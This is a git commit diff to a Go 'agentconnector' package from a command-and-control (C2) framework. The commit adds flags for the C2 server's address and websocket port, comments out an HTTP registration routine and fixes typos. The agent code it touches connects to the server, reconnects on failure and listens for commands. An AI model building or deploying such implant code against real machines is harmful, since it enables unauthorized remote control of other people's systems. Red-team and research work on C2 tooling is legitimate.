introduced command line args for server connection

This commit is contained in:
Stefan Etringer 2025-06-23 13:45:07 +00:00
parent a6a48b8501
commit 653bd91e94
1 changed files with 72 additions and 37 deletions

View File

@ -2,9 +2,10 @@ package agentconnector
import ( import (
"encoding/json" "encoding/json"
"flag"
"fmt" "fmt"
"log" "log"
"net/http" // "net/http"
"net/url" "net/url"
"os/exec" "os/exec"
"os" "os"
@ -17,12 +18,20 @@ import (
"github.com/gorilla/websocket" "github.com/gorilla/websocket"
) )
const( // const(
webServerAddr = "127.0.0.1:3333" // webServerAddr = "127.0.0.1:3333"
webSocketAddr = "127.0.0.1:5555" // webSocketAddr = "127.0.0.1:5555"
registerURL = "http://" + webServerAddr + "/agents" // registerURL = "http://" + webServerAddr + "/agents"
// wsURL = "ws://" + webSocketAddr + "/data" // // wsURL = "ws://" + webSocketAddr + "/data"
) // )
// var (
// webServerAddr string
// webSocketAddr string
// registerURL = "http://" + webServerAddr + "/agents"
// // wsURL = "ws://" + webSocketAddr + "/data"
// )
type Agent struct { type Agent struct {
AgentName string `json:"agentName"` AgentName string `json:"agentName"`
@ -42,31 +51,31 @@ type Message struct {
var conn *websocket.Conn var conn *websocket.Conn
func registerAgent(agentName, agentId, agentIp, agentType, addPort, hostname string) error { // func registerAgent(agentName, agentId, agentIp, agentType, addPort, hostname string) error {
form := url.Values{} // form := url.Values{}
form.Add("agentId", agentId) // form.Add("agentId", agentId)
form.Add("agentName", agentName) // form.Add("agentName", agentName)
form.Add("agentType", agentType) // form.Add("agentType", agentType)
form.Add("IPv4Address", agentIp) // form.Add("IPv4Address", agentIp)
form.Add("addPort", addPort) // form.Add("addPort", addPort)
form.Add("hostname", hostname) // form.Add("hostname", hostname)
resp, err := http.PostForm(registerURL, form) // resp, err := http.PostForm(registerURL, form)
if err != nil { // if err != nil {
return fmt.Errorf("Error registering agent: %v", err) // return fmt.Errorf("Error registering agent: %v", err)
} // }
defer resp.Body.Close() // defer resp.Body.Close()
if resp.StatusCode != http.StatusCreated { // if resp.StatusCode != http.StatusCreated {
return fmt.Errorf("Failed to register agent, status: %v", resp.Status) // return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
} // }
log.Printf("Agent %s successfully registered.", agentName) // log.Printf("Agent %s successfully registered.", agentName)
return nil // return nil
} // }
func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname string) error { func connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname string) error {
wsURL := fmt.Sprintf( wsURL := fmt.Sprintf(
"ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s&hostname=%s", "ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s&hostname=%s",
webSocketAddr, webSocketAddr,
@ -81,7 +90,7 @@ func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostnam
for { for {
conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil) conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
if err == nil { if err == nil {
log.Println("WeSocket connection established") log.Println("WebSocket connection established")
// logger.LogEntries = append(logger.LogEntries, fmt.Sprintf("%s websocket established", time.Now().Format(time.RFC3339))) // logger.LogEntries = append(logger.LogEntries, fmt.Sprintf("%s websocket established", time.Now().Format(time.RFC3339)))
return nil return nil
} }
@ -91,15 +100,15 @@ func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostnam
} }
} }
func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname string) error { func reconnectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname string) error {
backoff := 2 * time.Second backoff := 2 * time.Second
maxBackoff := 1 * time.Minute maxBackoff := 1 * time.Minute
for { for {
log.Println("Attempting to reconnect to WebSocket...") log.Println("Attempting to reconnect to WebSocket...")
err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname) err := connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname)
if err == nil { if err == nil {
log.Println("Reconnection succesful.") log.Println("Reconnection successful.")
return nil return nil
} }
@ -113,14 +122,14 @@ func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostn
} }
} }
func listenForCommands(agentName, agentId, agentIp, agentType, addPort, hostname string) { func listenForCommands(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname string) {
defer conn.Close() defer conn.Close()
for { for {
_, rawMessage, err := conn.ReadMessage() _, rawMessage, err := conn.ReadMessage()
if err != nil { if err != nil {
log.Printf("Connection lost: %v", err) log.Printf("Connection lost: %v", err)
if reconnectErr := reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname); reconnectErr != nil { if reconnectErr := reconnectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname); reconnectErr != nil {
log.Printf("Critical error during reconnection: %v", reconnectErr) log.Printf("Critical error during reconnection: %v", reconnectErr)
} }
continue continue
@ -201,9 +210,37 @@ func GetLocalIPs() []net.IP {
return ips return ips
} }
// func connectionArgs () (string, string) {
func connectionArgs () string {
// Get IP address and port of the server through the
var serverAddress string
// var serverPort string
var serverWebsocketPort string
flag.StringVar(&serverAddress, "address", "127.0.0.1", "IP Address of the C2 server")
// flag.StringVar(&serverPort, "server-port", "3333", "Port of the C2 server. This is obsolete.")
flag.StringVar(&serverWebsocketPort, "port", "5555", "Websocket port of the C2 server")
flag.Parse()
fmt.Println("Server address is at ", serverAddress)
// fmt.Println("Server web port is ", serverPort)
fmt.Println("Server websocket port is ", serverWebsocketPort)
// webServerAddr := serverAddress + ":" + serverPort
webSocketAddr := serverAddress + ":" + serverWebsocketPort
// return webServerAddr, webSocketAddr
return webSocketAddr
}
// func main() { // func main() {
func StartServer(agentInteractivePort int){ func StartServer(agentInteractivePort int){
webSocketAddr := connectionArgs()
// agentInteractivePort is only needed for interactive sessions // agentInteractivePort is only needed for interactive sessions
agentName := "Agent-001" agentName := "Agent-001"
agentId := strconv.Itoa(randomInt(8)) agentId := strconv.Itoa(randomInt(8))
@ -214,15 +251,13 @@ func StartServer(agentInteractivePort int){
log.Printf("AgentId: %s", agentId) log.Printf("AgentId: %s", agentId)
// if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil { // if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil {
// log.Fatalf("Agent registration failed: %v", err) // log.Fatalf("Agent registration failed: %v", err)
// } // }
if err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname); err != nil { if err := connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname); err != nil {
log.Fatalf("Websocket connection failed: %v", err) log.Fatalf("Websocket connection failed: %v", err)
} }
listenForCommands(agentName, agentId, agentIp, agentType, addPort, hostname) listenForCommands(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname)
} }